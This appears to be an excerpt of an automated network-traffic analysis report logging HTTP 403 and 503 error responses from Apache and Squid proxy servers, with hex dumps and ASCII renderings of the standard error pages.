Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 23 Feb 2024 13:28:23 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 306Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:23 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:24 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.10Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:25 GMTContent-Type: text/html;charset=utf-8Content-Length: 3705X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:25 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 23 Feb 2024 13:28:25 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:26 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:27 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Type: text/html; charset=UTF-8Content-Length: 782Cache-Control: no-cacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 2a 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 7d 0a 20 68 74 6d 6c 20 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 31 30 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 20 7d 0a 20 23 63 6f 6e 74 65 6e 74 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 20 7d 20 0a 20 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 22 3e 3c 68 31 3e 41 63 63 65 73 73 20 42 6c 6f 63 6b 65 64 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 72 65 71 75 65 73 74 65 64 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 6f 72 20 55 52 4c 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 63 6f 72 70 6f 72 61 74 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 75 73 61 67 65 20 61 6e 64 20 77 65 62 20 73 75 72 66 69 6e 67 20 70 6f 6c 69 63 79 2e 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 69 6e 20 63 61 73 65 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 00 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css"> * { font-family: verdana, sans-serif;} html body { margin: 10; padding: 10; background: #efefef; font-size:12px; color: #1e1e1e; float: left; } #content { font-size: 14px; color: #1e1e1e; } </style></head><body><div id="title">
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:27 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:28 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 